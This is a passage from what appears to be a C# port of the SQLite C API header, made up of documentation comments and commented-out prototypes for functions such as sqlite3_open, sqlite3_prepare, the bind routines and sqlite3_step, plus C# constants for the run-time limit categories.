their ** database connections for the meaning of "modify" in this paragraph. ** ** Requirements: ** [H12911] [H12912] [H12913] [H12914] [H12915] [H12916] [H12917] [H12918] ** */ //SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*); /* ** CAPI3REF: Opening A New Database Connection {H12700} ** ** These routines open an SQLite database file whose name is given by the ** filename argument. The filename argument is interpreted as UTF-8 for ** sqlite3_open() and sqlite3_open_v2() and as UTF-16 in the native byte ** order for sqlite3_open16(). A [database connection] handle is usually ** returned in *ppDb, even if an error occurs. The only exception is that ** if SQLite is unable to allocate memory to hold the [sqlite3] object, ** a NULL will be written into *ppDb instead of a pointer to the [sqlite3] ** object. If the database is opened (and/or created) successfully, then ** [SQLITE_OK] is returned. Otherwise an [error code] is returned. The ** [sqlite3_errmsg()] or [sqlite3_errmsg16()] routines can be used to obtain ** an English language description of the error. ** ** The default encoding for the database will be UTF-8 if ** sqlite3_open() or sqlite3_open_v2() is called and ** UTF-16 in the native byte order if sqlite3_open16() is used. ** ** Whether or not an error occurs when it is opened, resources ** associated with the [database connection] handle should be released by ** passing it to [sqlite3_close()] when it is no longer required. ** ** The sqlite3_open_v2() interface works like sqlite3_open() ** except that it accepts two additional parameters for additional control ** over the new database connection. The flags parameter can take one of ** the following three values, optionally combined with the ** [SQLITE_OPEN_NOMUTEX] or [SQLITE_OPEN_FULLMUTEX] flags: ** **
    **
    [SQLITE_OPEN_READONLY]
    **
    The database is opened in read-only mode. If the database does not ** already exist, an error is returned.
    ** **
    [SQLITE_OPEN_READWRITE]
    **
    The database is opened for reading and writing if possible, or reading ** only if the file is write protected by the operating system. In either ** case the database must already exist, otherwise an error is returned.
    ** **
    [SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]
    **
    The database is opened for reading and writing, and is creates it if ** it does not already exist. This is the behavior that is always used for ** sqlite3_open() and sqlite3_open16().
    **
    ** ** If the 3rd parameter to sqlite3_open_v2() is not one of the ** combinations shown above or one of the combinations shown above combined ** with the [SQLITE_OPEN_NOMUTEX] or [SQLITE_OPEN_FULLMUTEX] flags, ** then the behavior is undefined. ** ** If the [SQLITE_OPEN_NOMUTEX] flag is set, then the database connection ** opens in the multi-thread [threading mode] as long as the single-thread ** mode has not been set at compile-time or start-time. If the ** [SQLITE_OPEN_FULLMUTEX] flag is set then the database connection opens ** in the serialized [threading mode] unless single-thread was ** previously selected at compile-time or start-time. ** ** If the filename is ":memory:", then a private, temporary in-memory database ** is created for the connection. This in-memory database will vanish when ** the database connection is closed. Future versions of SQLite might ** make use of additional special filenames that begin with the ":" character. ** It is recommended that when a database filename actually does begin with ** a ":" character you should prefix the filename with a pathname such as ** "./" to avoid ambiguity. ** ** If the filename is an empty string, then a private, temporary ** on-disk database will be created. This private database will be ** automatically deleted as soon as the database connection is closed. ** ** The fourth parameter to sqlite3_open_v2() is the name of the ** [sqlite3_vfs] object that defines the operating system interface that ** the new database connection should use. If the fourth parameter is ** a NULL pointer then the default [sqlite3_vfs] object is used. ** ** Note to Windows users: The encoding used for the filename argument ** of sqlite3_open() and sqlite3_open_v2() must be UTF-8, not whatever ** codepage is currently defined. Filenames containing international ** characters must be converted to UTF-8 prior to passing them into ** sqlite3_open() or sqlite3_open_v2(). ** ** Requirements: ** [H12701] [H12702] [H12703] [H12704] [H12706] [H12707] [H12709] [H12711] ** [H12712] [H12713] [H12714] [H12717] [H12719] [H12721] [H12723] */ //SQLITE_API int sqlite3_open( // const char *filename, /* Database filename (UTF-8) */ // sqlite3 **ppDb /* OUT: SQLite db handle */ //); //SQLITE_API int sqlite3_open16( // const void *filename, /* Database filename (UTF-16) */ // sqlite3 **ppDb /* OUT: SQLite db handle */ //); //SQLITE_API int sqlite3_open_v2( // const char *filename, /* Database filename (UTF-8) */ // sqlite3 **ppDb, /* OUT: SQLite db handle */ // int flags, /* Flags */ // const char *zVfs /* Name of VFS module to use */ //); /* ** CAPI3REF: Error Codes And Messages {H12800} ** ** The sqlite3_errcode() interface returns the numeric [result code] or ** [extended result code] for the most recent failed sqlite3_* API call ** associated with a [database connection]. If a prior API call failed ** but the most recent API call succeeded, the return value from ** sqlite3_errcode() is undefined. The sqlite3_extended_errcode() ** interface is the same except that it always returns the ** [extended result code] even when extended result codes are ** disabled. ** ** The sqlite3_errmsg() and sqlite3_errmsg16() return English-language ** text that describes the error, as either UTF-8 or UTF-16 respectively. ** Memory to hold the error message string is managed internally. ** The application does not need to worry about freeing the result. ** However, the error string might be overwritten or deallocated by ** subsequent calls to other SQLite interface functions. ** ** When the serialized [threading mode] is in use, it might be the ** case that a second error occurs on a separate thread in between ** the time of the first error and the call to these interfaces. ** When that happens, the second error will be reported since these ** interfaces always report the most recent result. To avoid ** this, each thread can obtain exclusive use of the [database connection] D ** by invoking [sqlite3_mutex_enter]([sqlite3_db_mutex](D)) before beginning ** to use D and invoking [sqlite3_mutex_leave]([sqlite3_db_mutex](D)) after ** all calls to the interfaces listed here are completed. ** ** If an interface fails with SQLITE_MISUSE, that means the interface ** was invoked incorrectly by the application. In that case, the ** error code and message may or may not be set. ** ** Requirements: ** [H12801] [H12802] [H12803] [H12807] [H12808] [H12809] */ //SQLITE_API int sqlite3_errcode(sqlite3 *db); //SQLITE_API int sqlite3_extended_errcode(sqlite3 *db); //SQLITE_API const char *sqlite3_errmsg(sqlite3*); //SQLITE_API const void *sqlite3_errmsg16(sqlite3*); /* ** CAPI3REF: SQL Statement Object {H13000} ** KEYWORDS: {prepared statement} {prepared statements} ** ** An instance of this object represents a single SQL statement. ** This object is variously known as a "prepared statement" or a ** "compiled SQL statement" or simply as a "statement". ** ** The life of a statement object goes something like this: ** **
      **
    1. Create the object using [sqlite3_prepare_v2()] or a related ** function. **
    2. Bind values to [host parameters] using the sqlite3_bind_*() ** interfaces. **
    3. Run the SQL by calling [sqlite3_step()] one or more times. **
    4. Reset the statement using [sqlite3_reset()] then go back ** to step 2. Do this zero or more times. **
    5. Destroy the object using [sqlite3_finalize()]. **
    ** ** Refer to documentation on individual methods above for additional ** information. */ //typedef struct sqlite3_stmt sqlite3_stmt; /* ** CAPI3REF: Run-time Limits {H12760} ** ** This interface allows the size of various constructs to be limited ** on a connection by connection basis. The first parameter is the ** [database connection] whose limit is to be set or queried. The ** second parameter is one of the [limit categories] that define a ** class of constructs to be size limited. The third parameter is the ** new limit for that construct. The function returns the old limit. ** ** If the new limit is a negative number, the limit is unchanged. ** For the limit category of SQLITE_LIMIT_XYZ there is a ** [limits | hard upper bound] ** set by a compile-time C preprocessor macro named ** [limits | SQLITE_MAX_XYZ]. ** (The "_LIMIT_" in the name is changed to "_MAX_".) ** Attempts to increase a limit above its hard upper bound are ** silently truncated to the hard upper limit. ** ** Run time limits are intended for use in applications that manage ** both their own internal database and also databases that are controlled ** by untrusted external sources. An example application might be a ** web browser that has its own databases for storing history and ** separate databases controlled by JavaScript applications downloaded ** off the Internet. The internal databases can be given the ** large, default limits. Databases managed by external sources can ** be given much smaller limits designed to prevent a denial of service ** attack. Developers might also want to use the [sqlite3_set_authorizer()] ** interface to further control untrusted SQL. The size of the database ** created by an untrusted script can be contained using the ** [max_page_count] [PRAGMA]. ** ** New run-time limit categories may be added in future releases. ** ** Requirements: ** [H12762] [H12766] [H12769] */ //SQLITE_API int sqlite3_limit(sqlite3*, int id, int newVal); /* ** CAPI3REF: Run-Time Limit Categories {H12790} ** KEYWORDS: {limit category} {limit categories} ** ** These constants define various performance limits ** that can be lowered at run-time using [sqlite3_limit()]. ** The synopsis of the meanings of the various limits is shown below. ** Additional information is available at [limits | Limits in SQLite]. ** **
    **
    SQLITE_LIMIT_LENGTH
    **
    The maximum size of any string or BLOB or table row.
    ** **
    SQLITE_LIMIT_SQL_LENGTH
    **
    The maximum length of an SQL statement.
    ** **
    SQLITE_LIMIT_COLUMN
    **
    The maximum number of columns in a table definition or in the ** result set of a [SELECT] or the maximum number of columns in an index ** or in an ORDER BY or GROUP BY clause.
    ** **
    SQLITE_LIMIT_EXPR_DEPTH
    **
    The maximum depth of the parse tree on any expression.
    ** **
    SQLITE_LIMIT_COMPOUND_SELECT
    **
    The maximum number of terms in a compound SELECT statement.
    ** **
    SQLITE_LIMIT_VDBE_OP
    **
    The maximum number of instructions in a virtual machine program ** used to implement an SQL statement.
    ** **
    SQLITE_LIMIT_FUNCTION_ARG
    **
    The maximum number of arguments on a function.
    ** **
    SQLITE_LIMIT_ATTACHED
    **
    The maximum number of [ATTACH | attached databases].
    ** **
    SQLITE_LIMIT_LIKE_PATTERN_LENGTH
    **
    The maximum length of the pattern argument to the [LIKE] or ** [GLOB] operators.
    ** **
    SQLITE_LIMIT_VARIABLE_NUMBER
    **
    The maximum number of variables in an SQL statement that can ** be bound.
    **
    */ //#define SQLITE_LIMIT_LENGTH 0 //#define SQLITE_LIMIT_SQL_LENGTH 1 //#define SQLITE_LIMIT_COLUMN 2 //#define SQLITE_LIMIT_EXPR_DEPTH 3 //#define SQLITE_LIMIT_COMPOUND_SELECT 4 //#define SQLITE_LIMIT_VDBE_OP 5 //#define SQLITE_LIMIT_FUNCTION_ARG 6 //#define SQLITE_LIMIT_ATTACHED 7 //#define SQLITE_LIMIT_LIKE_PATTERN_LENGTH 8 //#define SQLITE_LIMIT_VARIABLE_NUMBER 9 public const int SQLITE_LIMIT_LENGTH = 0; public const int SQLITE_LIMIT_SQL_LENGTH = 1; public const int SQLITE_LIMIT_COLUMN = 2; public const int SQLITE_LIMIT_EXPR_DEPTH = 3; public const int SQLITE_LIMIT_COMPOUND_SELECT = 4; public const int SQLITE_LIMIT_VDBE_OP = 5; public const int SQLITE_LIMIT_FUNCTION_ARG = 6; public const int SQLITE_LIMIT_ATTACHED = 7; public const int SQLITE_LIMIT_LIKE_PATTERN_LENGTH = 8; public const int SQLITE_LIMIT_VARIABLE_NUMBER = 9; /* ** CAPI3REF: Compiling An SQL Statement {H13010} ** KEYWORDS: {SQL statement compiler} ** ** To execute an SQL query, it must first be compiled into a byte-code ** program using one of these routines. ** ** The first argument, "db", is a [database connection] obtained from a ** prior successful call to [sqlite3_open()], [sqlite3_open_v2()] or ** [sqlite3_open16()]. The database connection must not have been closed. ** ** The second argument, "zSql", is the statement to be compiled, encoded ** as either UTF-8 or UTF-16. The sqlite3_prepare() and sqlite3_prepare_v2() ** interfaces use UTF-8, and sqlite3_prepare16() and sqlite3_prepare16_v2() ** use UTF-16. ** ** If the nByte argument is less than zero, then zSql is read up to the ** first zero terminator. If nByte is non-negative, then it is the maximum ** number of bytes read from zSql. When nByte is non-negative, the ** zSql string ends at either the first '\000' or '\u0000' character or ** the nByte-th byte, whichever comes first. If the caller knows ** that the supplied string is nul-terminated, then there is a small ** performance advantage to be gained by passing an nByte parameter that ** is equal to the number of bytes in the input string including ** the nul-terminator bytes. ** ** If pzTail is not NULL then *pzTail is made to point to the first byte ** past the end of the first SQL statement in zSql. These routines only ** compile the first statement in zSql, so *pzTail is left pointing to ** what remains uncompiled. ** ** *ppStmt is left pointing to a compiled [prepared statement] that can be ** executed using [sqlite3_step()]. If there is an error, *ppStmt is set ** to NULL. If the input text contains no SQL (if the input is an empty ** string or a comment) then *ppStmt is set to NULL. ** The calling procedure is responsible for deleting the compiled ** SQL statement using [sqlite3_finalize()] after it has finished with it. ** ppStmt may not be NULL. ** ** On success, [SQLITE_OK] is returned, otherwise an [error code] is returned. ** ** The sqlite3_prepare_v2() and sqlite3_prepare16_v2() interfaces are ** recommended for all new programs. The two older interfaces are retained ** for backwards compatibility, but their use is discouraged. ** In the "v2" interfaces, the prepared statement ** that is returned (the [sqlite3_stmt] object) contains a copy of the ** original SQL text. This causes the [sqlite3_step()] interface to ** behave a differently in two ways: ** **
      **
    1. ** If the database schema changes, instead of returning [SQLITE_SCHEMA] as it ** always used to do, [sqlite3_step()] will automatically recompile the SQL ** statement and try to run it again. If the schema has changed in ** a way that makes the statement no longer valid, [sqlite3_step()] will still ** return [SQLITE_SCHEMA]. But unlike the legacy behavior, [SQLITE_SCHEMA] is ** now a fatal error. Calling [sqlite3_prepare_v2()] again will not make the ** error go away. Note: use [sqlite3_errmsg()] to find the text ** of the parsing error that results in an [SQLITE_SCHEMA] return. **
    2. ** **
    3. ** When an error occurs, [sqlite3_step()] will return one of the detailed ** [error codes] or [extended error codes]. The legacy behavior was that ** [sqlite3_step()] would only return a generic [SQLITE_ERROR] result code ** and you would have to make a second call to [sqlite3_reset()] in order ** to find the underlying cause of the problem. With the "v2" prepare ** interfaces, the underlying reason for the error is returned immediately. **
    4. **
    ** ** Requirements: ** [H13011] [H13012] [H13013] [H13014] [H13015] [H13016] [H13019] [H13021] ** */ //SQLITE_API int sqlite3_prepare( // sqlite3 *db, /* Database handle */ // const char *zSql, /* SQL statement, UTF-8 encoded */ // int nByte, /* Maximum length of zSql in bytes. */ // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ // const char **pzTail /* OUT: Pointer to unused portion of zSql */ //); //SQLITE_API int sqlite3_prepare_v2( // sqlite3 *db, /* Database handle */ // const char *zSql, /* SQL statement, UTF-8 encoded */ // int nByte, /* Maximum length of zSql in bytes. */ // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ // const char **pzTail /* OUT: Pointer to unused portion of zSql */ //); //SQLITE_API int sqlite3_prepare16( // sqlite3 *db, /* Database handle */ // const void *zSql, /* SQL statement, UTF-16 encoded */ // int nByte, /* Maximum length of zSql in bytes. */ // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ // const void **pzTail /* OUT: Pointer to unused portion of zSql */ //); //SQLITE_API int sqlite3_prepare16_v2( // sqlite3 *db, /* Database handle */ // const void *zSql, /* SQL statement, UTF-16 encoded */ // int nByte, /* Maximum length of zSql in bytes. */ // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ // const void **pzTail /* OUT: Pointer to unused portion of zSql */ //); /* ** CAPI3REF: Retrieving Statement SQL {H13100} ** ** This interface can be used to retrieve a saved copy of the original ** SQL text used to create a [prepared statement] if that statement was ** compiled using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()]. ** ** Requirements: ** [H13101] [H13102] [H13103] */ //SQLITE_API const char *sqlite3_sql(sqlite3_stmt *pStmt); /* ** CAPI3REF: Dynamically Typed Value Object {H15000} ** KEYWORDS: {protected sqlite3_value} {unprotected sqlite3_value} ** ** SQLite uses the sqlite3_value object to represent all values ** that can be stored in a database table. SQLite uses dynamic typing ** for the values it stores. Values stored in sqlite3_value objects ** can be integers, floating point values, strings, BLOBs, or NULL. ** ** An sqlite3_value object may be either "protected" or "unprotected". ** Some interfaces require a protected sqlite3_value. Other interfaces ** will accept either a protected or an unprotected sqlite3_value. ** Every interface that accepts sqlite3_value arguments specifies ** whether or not it requires a protected sqlite3_value. ** ** The terms "protected" and "unprotected" refer to whether or not ** a mutex is held. A internal mutex is held for a protected ** sqlite3_value object but no mutex is held for an unprotected ** sqlite3_value object. If SQLite is compiled to be single-threaded ** (with [SQLITE_THREADSAFE=0] and with [sqlite3_threadsafe()] returning 0) ** or if SQLite is run in one of reduced mutex modes ** [SQLITE_CONFIG_SINGLETHREAD] or [SQLITE_CONFIG_MULTITHREAD] ** then there is no distinction between protected and unprotected ** sqlite3_value objects and they can be used interchangeably. However, ** for maximum code portability it is recommended that applications ** still make the distinction between between protected and unprotected ** sqlite3_value objects even when not strictly required. ** ** The sqlite3_value objects that are passed as parameters into the ** implementation of [application-defined SQL functions] are protected. ** The sqlite3_value object returned by ** [sqlite3_column_value()] is unprotected. ** Unprotected sqlite3_value objects may only be used with ** [sqlite3_result_value()] and [sqlite3_bind_value()]. ** The [sqlite3_value_blob | sqlite3_value_type()] family of ** interfaces require protected sqlite3_value objects. */ //typedef struct Mem sqlite3_value; /* ** CAPI3REF: SQL Function Context Object {H16001} ** ** The context in which an SQL function executes is stored in an ** sqlite3_context object. A pointer to an sqlite3_context object ** is always first parameter to [application-defined SQL functions]. ** The application-defined SQL function implementation will pass this ** pointer through into calls to [sqlite3_result_int | sqlite3_result()], ** [sqlite3_aggregate_context()], [sqlite3_user_data()], ** [sqlite3_context_db_handle()], [sqlite3_get_auxdata()], ** and/or [sqlite3_set_auxdata()]. */ //typedef struct sqlite3_context sqlite3_context; /* ** CAPI3REF: Binding Values To Prepared Statements {H13500} ** KEYWORDS: {host parameter} {host parameters} {host parameter name} ** KEYWORDS: {SQL parameter} {SQL parameters} {parameter binding} ** ** In the SQL strings input to [sqlite3_prepare_v2()] and its variants, ** literals may be replaced by a [parameter] in one of these forms: ** **
      **
    • ? **
    • ?NNN **
    • :VVV **
    • @VVV **
    • $VVV **
    ** ** In the parameter forms shown above NNN is an integer literal, ** and VVV is an alpha-numeric parameter name. The values of these ** parameters (also called "host parameter names" or "SQL parameters") ** can be set using the sqlite3_bind_*() routines defined here. ** ** The first argument to the sqlite3_bind_*() routines is always ** a pointer to the [sqlite3_stmt] object returned from ** [sqlite3_prepare_v2()] or its variants. ** ** The second argument is the index of the SQL parameter to be set. ** The leftmost SQL parameter has an index of 1. When the same named ** SQL parameter is used more than once, second and subsequent ** occurrences have the same index as the first occurrence. ** The index for named parameters can be looked up using the ** [sqlite3_bind_parameter_index()] API if desired. The index ** for "?NNN" parameters is the value of NNN. ** The NNN value must be between 1 and the [sqlite3_limit()] ** parameter [SQLITE_LIMIT_VARIABLE_NUMBER] (default value: 999). ** ** The third argument is the value to bind to the parameter. ** ** In those routines that have a fourth argument, its value is the ** number of bytes in the parameter. To be clear: the value is the ** number of bytes in the value, not the number of characters. ** If the fourth parameter is negative, the length of the string is ** the number of bytes up to the first zero terminator. ** ** The fifth argument to sqlite3_bind_blob(), sqlite3_bind_text(), and ** sqlite3_bind_text16() is a destructor used to dispose of the BLOB or ** string after SQLite has finished with it. If the fifth argument is ** the special value [SQLITE_STATIC], then SQLite assumes that the ** information is in static, unmanaged space and does not need to be freed. ** If the fifth argument has the value [SQLITE_TRANSIENT], then ** SQLite makes its own private copy of the data immediately, before ** the sqlite3_bind_*() routine returns. ** ** The sqlite3_bind_zeroblob() routine binds a BLOB of length N that ** is filled with zeroes. A zeroblob uses a fixed amount of memory ** (just an integer to hold its size) while it is being processed. ** Zeroblobs are intended to serve as placeholders for BLOBs whose ** content is later written using ** [sqlite3_blob_open | incremental BLOB I/O] routines. ** A negative value for the zeroblob results in a zero-length BLOB. ** ** The sqlite3_bind_*() routines must be called after ** [sqlite3_prepare_v2()] (and its variants) or [sqlite3_reset()] and ** before [sqlite3_step()]. ** Bindings are not cleared by the [sqlite3_reset()] routine. ** Unbound parameters are interpreted as NULL. ** ** These routines return [SQLITE_OK] on success or an error code if ** anything goes wrong. [SQLITE_RANGE] is returned if the parameter ** index is out of range. [SQLITE_NOMEM] is returned if malloc() fails. ** [SQLITE_MISUSE] might be returned if these routines are called on a ** virtual machine that is the wrong state or which has already been finalized. ** Detection of misuse is unreliable. Applications should not depend ** on SQLITE_MISUSE returns. SQLITE_MISUSE is intended to indicate a ** a logic error in the application. Future versions of SQLite might ** panic rather than return SQLITE_MISUSE. ** ** See also: [sqlite3_bind_parameter_count()], ** [sqlite3_bind_parameter_name()], and [sqlite3_bind_parameter_index()]. ** ** Requirements: ** [H13506] [H13509] [H13512] [H13515] [H13518] [H13521] [H13524] [H13527] ** [H13530] [H13533] [H13536] [H13539] [H13542] [H13545] [H13548] [H13551] ** */ //SQLITE_API int sqlite3_bind_blob(sqlite3_stmt*, int, const void*, int n, void(*)(void*)); //SQLITE_API int sqlite3_bind_double(sqlite3_stmt*, int, double); //SQLITE_API int sqlite3_bind_int(sqlite3_stmt*, int, int); //SQLITE_API int sqlite3_bind_int64(sqlite3_stmt*, int, sqlite3_int64); //SQLITE_API int sqlite3_bind_null(sqlite3_stmt*, int); //SQLITE_API int sqlite3_bind_text(sqlite3_stmt*, int, const char*, int n, void(*)(void*)); //SQLITE_API int sqlite3_bind_text16(sqlite3_stmt*, int, const void*, int, void(*)(void*)); //SQLITE_API int sqlite3_bind_value(sqlite3_stmt*, int, const sqlite3_value*); //SQLITE_API int sqlite3_bind_zeroblob(sqlite3_stmt*, int, int n); /* ** CAPI3REF: Number Of SQL Parameters {H13600} ** ** This routine can be used to find the number of [SQL parameters] ** in a [prepared statement]. SQL parameters are tokens of the ** form "?", "?NNN", ":AAA", "$AAA", or "@AAA" that serve as ** placeholders for values that are [sqlite3_bind_blob | bound] ** to the parameters at a later time. ** ** This routine actually returns the index of the largest (rightmost) ** parameter. For all forms except ?NNN, this will correspond to the ** number of unique parameters. If parameters of the ?NNN are used, ** there may be gaps in the list. ** ** See also: [sqlite3_bind_blob|sqlite3_bind()], ** [sqlite3_bind_parameter_name()], and ** [sqlite3_bind_parameter_index()]. ** ** Requirements: ** [H13601] */ //SQLITE_API int sqlite3_bind_parameter_count(sqlite3_stmt*); /* ** CAPI3REF: Name Of A Host Parameter {H13620} ** ** This routine returns a pointer to the name of the n-th ** [SQL parameter] in a [prepared statement]. ** SQL parameters of the form "?NNN" or ":AAA" or "@AAA" or "$AAA" ** have a name which is the string "?NNN" or ":AAA" or "@AAA" or "$AAA" ** respectively. ** In other words, the initial ":" or "$" or "@" or "?" ** is included as part of the name. ** Parameters of the form "?" without a following integer have no name ** and are also referred to as "anonymous parameters". ** ** The first host parameter has an index of 1, not 0. ** ** If the value n is out of range or if the n-th parameter is ** nameless, then NULL is returned. The returned string is ** always in UTF-8 encoding even if the named parameter was ** originally specified as UTF-16 in [sqlite3_prepare16()] or ** [sqlite3_prepare16_v2()]. ** ** See also: [sqlite3_bind_blob|sqlite3_bind()], ** [sqlite3_bind_parameter_count()], and ** [sqlite3_bind_parameter_index()]. ** ** Requirements: ** [H13621] */ //SQLITE_API const char *sqlite3_bind_parameter_name(sqlite3_stmt*, int); /* ** CAPI3REF: Index Of A Parameter With A Given Name {H13640} ** ** Return the index of an SQL parameter given its name. The ** index value returned is suitable for use as the second ** parameter to [sqlite3_bind_blob|sqlite3_bind()]. A zero ** is returned if no matching parameter is found. The parameter ** name must be given in UTF-8 even if the original statement ** was prepared from UTF-16 text using [sqlite3_prepare16_v2()]. ** ** See also: [sqlite3_bind_blob|sqlite3_bind()], ** [sqlite3_bind_parameter_count()], and ** [sqlite3_bind_parameter_index()]. ** ** Requirements: ** [H13641] */ //SQLITE_API int sqlite3_bind_parameter_index(sqlite3_stmt*, const char *zName); /* ** CAPI3REF: Reset All Bindings On A Prepared Statement {H13660} ** ** Contrary to the intuition of many, [sqlite3_reset()] does not reset ** the [sqlite3_bind_blob | bindings] on a [prepared statement]. ** Use this routine to reset all host parameters to NULL. ** ** Requirements: ** [H13661] */ //SQLITE_API int sqlite3_clear_bindings(sqlite3_stmt*); /* ** CAPI3REF: Number Of Columns In A Result Set {H13710} ** ** Return the number of columns in the result set returned by the ** [prepared statement]. This routine returns 0 if pStmt is an SQL ** statement that does not return data (for example an [UPDATE]). ** ** Requirements: ** [H13711] */ //SQLITE_API int sqlite3_column_count(sqlite3_stmt *pStmt); /* ** CAPI3REF: Column Names In A Result Set {H13720} ** ** These routines return the name assigned to a particular column ** in the result set of a [SELECT] statement. The sqlite3_column_name() ** interface returns a pointer to a zero-terminated UTF-8 string ** and sqlite3_column_name16() returns a pointer to a zero-terminated ** UTF-16 string. The first parameter is the [prepared statement] ** that implements the [SELECT] statement. The second parameter is the ** column number. The leftmost column is number 0. ** ** The returned string pointer is valid until either the [prepared statement] ** is destroyed by [sqlite3_finalize()] or until the next call to ** sqlite3_column_name() or sqlite3_column_name16() on the same column. ** ** If sqlite3_malloc() fails during the processing of either routine ** (for example during a conversion from UTF-8 to UTF-16) then a ** NULL pointer is returned. ** ** The name of a result column is the value of the "AS" clause for ** that column, if there is an AS clause. If there is no AS clause ** then the name of the column is unspecified and may change from ** one release of SQLite to the next. ** ** Requirements: ** [H13721] [H13723] [H13724] [H13725] [H13726] [H13727] */ //SQLITE_API const char *sqlite3_column_name(sqlite3_stmt*, int N); //SQLITE_API const void *sqlite3_column_name16(sqlite3_stmt*, int N); /* ** CAPI3REF: Source Of Data In A Query Result {H13740} ** ** These routines provide a means to determine what column of what ** table in which database a result of a [SELECT] statement comes from. ** The name of the database or table or column can be returned as ** either a UTF-8 or UTF-16 string. The _database_ routines return ** the database name, the _table_ routines return the table name, and ** the origin_ routines return the column name. ** The returned string is valid until the [prepared statement] is destroyed ** using [sqlite3_finalize()] or until the same information is requested ** again in a different encoding. ** ** The names returned are the original un-aliased names of the ** database, table, and column. ** ** The first argument to the following calls is a [prepared statement]. ** These functions return information about the Nth column returned by ** the statement, where N is the second function argument. ** ** If the Nth column returned by the statement is an expression or ** subquery and is not a column value, then all of these functions return ** NULL. These routine might also return NULL if a memory allocation error ** occurs. Otherwise, they return the name of the attached database, table ** and column that query result column was extracted from. ** ** As with all other SQLite APIs, those postfixed with "16" return ** UTF-16 encoded strings, the other functions return UTF-8. {END} ** ** These APIs are only available if the library was compiled with the ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined. ** ** {A13751} ** If two or more threads call one or more of these routines against the same ** prepared statement and column at the same time then the results are ** undefined. ** ** Requirements: ** [H13741] [H13742] [H13743] [H13744] [H13745] [H13746] [H13748] ** ** If two or more threads call one or more ** [sqlite3_column_database_name | column metadata interfaces] ** for the same [prepared statement] and result column ** at the same time then the results are undefined. */ //SQLITE_API const char *sqlite3_column_database_name(sqlite3_stmt*,int); //SQLITE_API const void *sqlite3_column_database_name16(sqlite3_stmt*,int); //SQLITE_API const char *sqlite3_column_table_name(sqlite3_stmt*,int); //SQLITE_API const void *sqlite3_column_table_name16(sqlite3_stmt*,int); //SQLITE_API const char *sqlite3_column_origin_name(sqlite3_stmt*,int); //SQLITE_API const void *sqlite3_column_origin_name16(sqlite3_stmt*,int); /* ** CAPI3REF: Declared Datatype Of A Query Result {H13760} ** ** The first parameter is a [prepared statement]. ** If this statement is a [SELECT] statement and the Nth column of the ** returned result set of that [SELECT] is a table column (not an ** expression or subquery) then the declared type of the table ** column is returned. If the Nth column of the result set is an ** expression or subquery, then a NULL pointer is returned. ** The returned string is always UTF-8 encoded. {END} ** ** For example, given the database schema: ** ** CREATE TABLE t1(c1 VARIANT); ** ** and the following statement to be compiled: ** ** SELECT c1 + 1, c1 FROM t1; ** ** this routine would return the string "VARIANT" for the second result ** column (i==1), and a NULL pointer for the first result column (i==0). ** ** SQLite uses dynamic run-time typing. So just because a column ** is declared to contain a particular type does not mean that the ** data stored in that column is of the declared type. SQLite is ** strongly typed, but the typing is dynamic not static. Type ** is associated with individual values, not with the containers ** used to hold those values. ** ** Requirements: ** [H13761] [H13762] [H13763] */ //SQLITE_API const char *sqlite3_column_decltype(sqlite3_stmt*,int); //SQLITE_API const void *sqlite3_column_decltype16(sqlite3_stmt*,int); /* ** CAPI3REF: Evaluate An SQL Statement {H13200} ** ** After a [prepared statement] has been prepared using either ** [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] or one of the legacy ** interfaces [sqlite3_prepare()] or [sqlite3_prepare16()], this function ** must be called one or more times to evaluate the statement. ** ** The details of the behavior of the sqlite3_step() interface depend ** on whether the statement was prepared using the newer "v2" interface ** [sqlite3_prepare_v2()] and [sqlite3_prepare16_v2()] or the older legacy ** interface [sqlite3_prepare()] and [sqlite3_prepare16()]. The use of the ** new "v2" interface is recommended for new applications but the legacy ** interface will continue to be supported. ** ** In the legacy interface, the return value will be either [SQLITE_BUSY], ** [SQLITE_DONE], [SQLITE_ROW], [SQLITE_ERROR], or [SQLITE_MISUSE]. ** With the "v2" interface, any of the other [result codes] or ** [extended result codes] might be returned as well. ** ** [SQLITE_BUSY] means that the database engine was unable to acquire the ** database locks it needs to do its job. If the statement is a [COMMIT] ** or occurs outside of an explicit transaction, then you can retry the ** statement. If the statement is not a [COMMIT] and occurs within a ** explicit transaction then you should rollback the transaction before ** continuing. ** ** [SQLITE_DONE] means that the statement has finished executing ** successfully. sqlite3_step() should not be called again on this virtual ** machine without first calling [sqlite3_reset()] to reset the virtual ** machine back to its initial state. ** ** If the SQL statement being executed returns any data, then [SQLITE_ROW] ** is returned each time a new row of data is ready for processing by the ** caller. The values may be accessed using the [column access functions]. ** sqlite3_step() is called again to retrieve the next row of data. ** ** [SQLITE_ERROR] means that a run-time error (such as a constraint ** violation) has occurred. sqlite3_step() should not be called again on ** the VM. More information may be found by calling [sqlite3_errmsg()]. ** With the legacy interface, a more specific error code (for example, ** [SQLITE_INTERRUPT], [SQLITE_SCHEMA], [SQLITE_CORRUPT], and so forth) ** can be obtained by calling [sqlite3_reset()] on the ** [prepared statement]. In the "v2" interface, ** the more specific error code is returned directly by sqlite3_step(). ** ** [SQLITE_MISUSE] means that the this routine was called inappropriately. ** Perhaps it was called on a [prepared statement] that has ** already been [sqlite3_finalize | finalized] or on one that had ** previously returned [SQLITE_ERROR] or [SQLITE_DONE]. Or it could ** be the case that the same database connection is being used by two or ** more threads at the same moment in time. ** ** Goofy Interface Alert: In the legacy interface, the sqlite3_step() ** API always returns a generic error code, [SQLITE_ERROR], following any ** error other than [SQLITE_BUSY] and [SQLITE_MISUSE]. You must call ** [sqlite3_reset()] or [sqlite3_finalize()] in order to find one of the ** specific [error codes] that better describes the error. ** We admit that this is a goofy design. The problem has been fixed ** with the "v2" interface. If you prepare all of your SQL statements ** using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] instead ** of the legacy [sqlite3_prepare()] and [sqlite3_prepare16()] interfaces, ** then the more specific [error codes] are returned directly ** by sqlite3_step(). The use of the "v2" interface is recommended. ** ** Requirements: ** [H13202] [H15304] [H15306] [H15308] [H15310] */ //SQLITE_API int sqlite3_step(sqlite3_stmt*); /* ** CAPI3REF: Number of columns in a result set {H13770} ** ** Returns the number of values in the current row of the result set. ** ** 